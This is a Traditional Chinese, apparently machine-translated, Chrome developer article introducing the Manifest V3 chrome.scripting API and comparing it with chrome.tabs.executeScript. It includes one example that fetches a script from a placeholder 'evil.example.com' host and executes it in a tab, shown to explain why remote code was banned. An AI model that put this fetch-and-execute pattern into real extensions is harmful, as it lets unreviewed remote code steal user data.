隆重推出 chrome.scripting

Simeon Vincent
Simeon Vincent

Manifest V3 推出了幾項 Chrome 擴充功能平台異動。在這篇文章中,我們將探討一項更明顯的改變所引發的動機和異動:chrome.scripting API 的推出。

什麼是 chrome.scripting?

顧名思義,chrome.scripting 是在 Manifest V3 中導入的新命名空間,負責指令碼和樣式插入功能。

過去建立 Chrome 擴充功能的開發人員,可能會熟悉 Tabs API 中的 Manifest V2 方法,例如 chrome.tabs.executeScriptchrome.tabs.insertCSS。這些方法可讓擴充功能分別將指令碼和樣式表分別插入網頁。在 Manifest V3 中,這些功能已移至 chrome.scripting,我們預計會在日後擴充這個 API,加入一些新功能。

為何要建立新的 API?

隨著這樣的改變,大家最常發想的問題之一是「為什麼?」

Chrome 團隊決定在編寫指令碼時導入新的命名空間。 首先,Tabs API 是功能需要的垃圾導覽匣,其次,需要對現有 executeScript API 進行破壞性變更。第三,我們希望能擴充擴充功能的指令碼編寫功能這些疑慮明確定義了需要新的命名空間來儲存內部指令碼功能。

垃圾抽屜

過去幾年,擴充功能團隊一直令人困擾的問題之一,就是 chrome.tabs API 超載。這個 API 剛推出時,提供的大部分功能都與瀏覽器分頁的廣泛概念相關。但從那時起,仍然是一堆功能的一部分,多年來,這個系列的數量仍然不斷成長。

Manifest V3 推出時,Tabs API 已擴大涵蓋基本分頁管理、選取管理、視窗組織、訊息、縮放控制項、基本導覽、指令碼及其他一些較小的功能。雖然這些關鍵指標都很重要,但開發人員剛開始使用時,加上 Chrome 團隊可能會感到不知所措,因為我們會維護平台,並考慮開發人員社群提出的要求。

另一個複雜因素是不夠清楚 tabs 權限。雖然有許多其他權限會限制對特定 API 的存取 (例如 storage),但這是有些異常的,那就是它只授予擴充功能存取 Tab 執行個體上敏感屬性的權限 (擴充功能也會影響 Windows API)。值得注意的是,許多擴充功能開發人員誤以為需要這項權限,才能存取 Tab API 中的方法 (例如 chrome.tabs.create),甚至不然是 chrome.tabs.executeScript。將功能移出 Tabs API 將有助於避免這種混淆。

破壞性變更

設計 Manifest V3 時,我們想解決的其中一個重大問題就是「遠端託管的程式碼」啟用的惡意軟體,也就是執行的程式碼,但未包含在擴充功能套件中。濫用擴充功能作者經常執行從遠端伺服器擷取的指令碼,藉此竊取使用者資料、插入惡意軟體及規避偵測。雖然優秀的執行者也會利用這項功能,但我們最終認為這過於危險,因此很難一直保存。

擴充功能可透過幾種不同方式執行未封裝的程式碼,但在這裡適用的是 Manifest V2 chrome.tabs.executeScript 方法。這個方法可讓擴充功能在目標分頁中執行任意程式碼字串。如此一來,惡意開發人員就能從遠端伺服器擷取任意指令碼,並在擴充功能可存取的任何網頁中執行。我們知道如果要解決遠端程式碼問題,就必須捨棄這項功能。

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

我們也想清除 Manifest V2 版本的設計中其他更細微的問題,讓 API 成為更精美且可預測的工具。

雖然我們可以在 Tabs API 中變更這個方法的簽名,但我們認為從這些破壞性變更到推出新功能 (下一節將說明) 之間,能夠讓大家更容易獲得乾淨的休息。

擴充指令碼功能

另一項進入 Manifest V3 設計程序的考量,是希望在 Chrome 的擴充功能平台中推出其他指令碼功能。具體來說,我們想要新增動態內容指令碼的支援功能,並擴充 executeScript 方法的功能。

動態內容指令碼支援一直以來都是 Chromium 長久以來的功能要求。目前 Manifest V2 和 V3 的 Chrome 擴充功能只能在 manifest.json 檔案中以靜態方式宣告內容指令碼,因為平台無法讓使用者在執行階段註冊新的內容指令碼、調整內容指令碼註冊,或取消註冊內容指令碼。

雖然我們瞭解我們想在 Manifest V3 中處理這項功能要求,但任何現有的 API 都無法滿足您的需求。此外,我們也考慮與 Firefox 的 Content Scripts API 採用相同架構,但我們很早發現這種方法有重大缺點。首先,我們瞭解簽名不相容 (例如停止支援 code 屬性)。其次,我們的 API 有不同的設計限制 (例如需要註冊才能保留超過服務工作站的生命週期)。最後,這個命名空間也能在我們的內容指令碼功能中 考慮到更廣泛的擴充功能編寫指令碼

executeScript 前端,除了分頁 API 版本支援之外,我們也想擴充這個 API 的功能。更具體來說,我們想支援函式和引數、更輕鬆地指定特定影格,以及指定非「分頁」結構定義。

往後,我們也在思考擴充功能如何與已安裝的 PWA,以及並非從概念上對應至「分頁」的其他結構定義,

tab.executeScript 和 Scripting.executeScript 之間的變更

在本文的其餘部分中,我想要進一步瞭解 chrome.tabs.executeScriptchrome.scripting.executeScript 的相似之處和差異。

使用引數插入函式

在考量平台需要如何因應遠端託管程式碼的限制時,我們仍希望在任意程式碼執行的原始能力和僅允許靜態內容指令碼之間取得平衡。我們尋求的解決方案是允許擴充功能插入函式做為內容指令碼,並將一連串的值當做引數傳遞。

讓我們快速看看一個 (過度簡化) 的範例。假設我們想插入指令碼,在使用者點選擴充功能的動作按鈕 (工具列中的圖示) 時,以名稱問候使用者。在 Manifest V2 中,我們可以動態建構程式碼字串,並在目前的頁面中執行該指令碼。

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

雖然 Manifest V3 擴充功能無法使用未與擴充功能一併使用的程式碼,但我們的目標是保留部分啟用 Manifest V2 擴充功能的程式碼區塊的動態語言。透過函式和引數方法,Chrome 線上應用程式商店審查人員、使用者和感興趣的各方都能更準確地評估擴充功能帶來的風險,同時讓開發人員根據使用者設定或應用程式狀態來修改擴充功能的執行階段行為。

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

指定影格

我們還想改善開發人員在修訂的 API 中與影格互動的方式。executeScript 的 Manifest V2 版本可讓開發人員指定分頁中的所有影格或分頁中的特定影格。您可以使用 chrome.webNavigation.getAllFrames 取得分頁中所有影格的清單。

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

在 Manifest V3 中,我們將選項物件中的選用 frameId 整數屬性替換為選用的 frameIds 整數陣列;這可讓開發人員在單一 API 呼叫中指定多個影格。

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

指令碼插入結果

我們還改善 Manifest V3 中傳回指令碼插入結果的方式。「結果」基本上是在指令碼中評估的最終陳述式。想像一下,您在呼叫 eval() 或在 Chrome 開發人員工具控制台中執行程式碼區塊時傳回的值,但為了跨程序傳遞結果而經過序列化。

在 Manifest V2 中,executeScriptinsertCSS 會傳回純執行結果陣列。如果您只有一個插入點,這就沒問題,但插入多個影格時無法保證結果順序,因此無法判斷哪個結果與哪個影格相關聯。

舉個具體的範例,我們來看看 Manifest V2 傳回的 results 陣列,以及相同擴充功能的 Manifest V3 版本。兩個版本的擴充功能都會插入相同的內容指令碼,且我們會在同一個示範頁面上比較結果。

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

執行 Manifest V2 版本時,我們會取回 [1, 0, 5] 的陣列。哪項結果對應至主頁框,以及 iframe 的值?傳回值沒有說明,因此我們無法確定。

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

在 Manifest V3 版本中,results 現在包含結果物件的陣列,而不是只有評估結果的陣列,而且結果物件會明確識別每項結果的影格 ID。這樣一來,開發人員就能更輕鬆地運用結果,並對特定影格採取行動。

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

總結

資訊清單版本暴露在重新思考和翻新擴充功能 API 的絕佳機會。Manifest V3 的目標是藉由提升擴充功能的安全性,同時改善開發人員體驗,藉此提升使用者體驗。藉由在 Manifest V3 中導入 chrome.scripting,我們得以協助清理 Tabs API、重新建構 executeScript 打造更安全的擴充功能平台,並為今年稍晚將推出的全新指令碼功能奠定基礎。